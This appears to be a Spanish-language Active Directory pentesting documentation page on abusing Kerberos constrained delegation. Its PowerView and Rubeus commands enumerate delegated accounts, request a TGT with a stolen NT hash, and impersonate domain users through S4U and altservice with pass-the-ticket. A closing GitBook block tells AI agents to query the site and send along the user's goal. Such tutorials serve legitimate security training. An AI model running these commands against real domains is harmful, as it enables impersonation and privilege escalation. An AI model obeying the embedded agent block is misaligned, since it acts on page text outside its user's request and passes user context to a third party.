> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/escalamiento-de-privilegios-de-dominio/constrained-delegation.md).

# Constrained delegation

## Descripción

La delegación es el acto de dar a alguien autoridad o responsabilidad para hacer algo en nombre de otra persona. En Active Directory, la delegación es una característica que permite que cuentas específicas (usuario o computadora) se hagan pasar por otras cuentas para acceder a servicios particulares en la red.

Constrained delegation es un privilegio que los administradores de dominio pueden asignar a una computadora o un usuario del dominio. Cuando se establece en una cuenta ocurre que:

* El atributo UserAccountControl para el objeto se actualiza con el indicador `TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION`.&#x20;
* El atributo `msDS-AllowedToDelegateTo` se completa con los servicios específicos (SPN) que se pueden acceder (lista de delegación permitida) en nombre de otro usuario.

Al comprometer una cuenta de usuario con privilegios de constrained delegation es posible solicitar TGS (Ticket Granting Service) en nombre de otros usuarios del dominio.

## Windows

1\) Obtener usuarios y servidores con privilegios de constrained delegation.

```powershell
# PowerView
# enumeración de usuarios
Get-DomainUser –TrustedToAuth
Get-DomainUser –TrustedToAuth | Select SamAccountName, msDS-AllowedToDelegateTo, UserAccountControl | fl
# enumeración de servidores
Get-DomainComputer –TrustedToAuth
Get-DomainComputer –TrustedToAuth | Select SamAccountName, msDS-AllowedToDelegateTo, UserAccountControl | fl
```

2\) Obtención de TGT (Ticket Granting Ticket) de cuenta comprometida.

```shell
.\Rubeus.exe asktgt /user:<user> /domain:<ACME.LOCAL> /rc4:<NT-hash-user> /outfile:tgt.kirbi
```

3\) Obtención de TGS (Ticket Granting Service) para un servicio específico permitido en nombre de otro usuario del dominio (suplantación) y realización de Pass the Ticket (PtT).

```shell
.\Rubeus.exe s4u /ticket:<tgt.kirbi> /impersonateuser:<impersonate-user> /msdsspn:"<service>" /ptt
```

4\) Obtención de TGS (Ticket Granting Service) para un servicio específico alternativo (no permitido) en nombre de otro usuario del dominio (suplantación) y realización de Pass the Ticket (PtT).

```shell
.\Rubeus.exe s4u /ticket:<tgt.kirbi> /impersonateuser:<impersonate-user> /msdsspn:"<service>" /altservice:<alternative-service> /ptt
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://activedirectory.mrw0l05zyn.cl/escalamiento-de-privilegios-de-dominio/constrained-delegation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
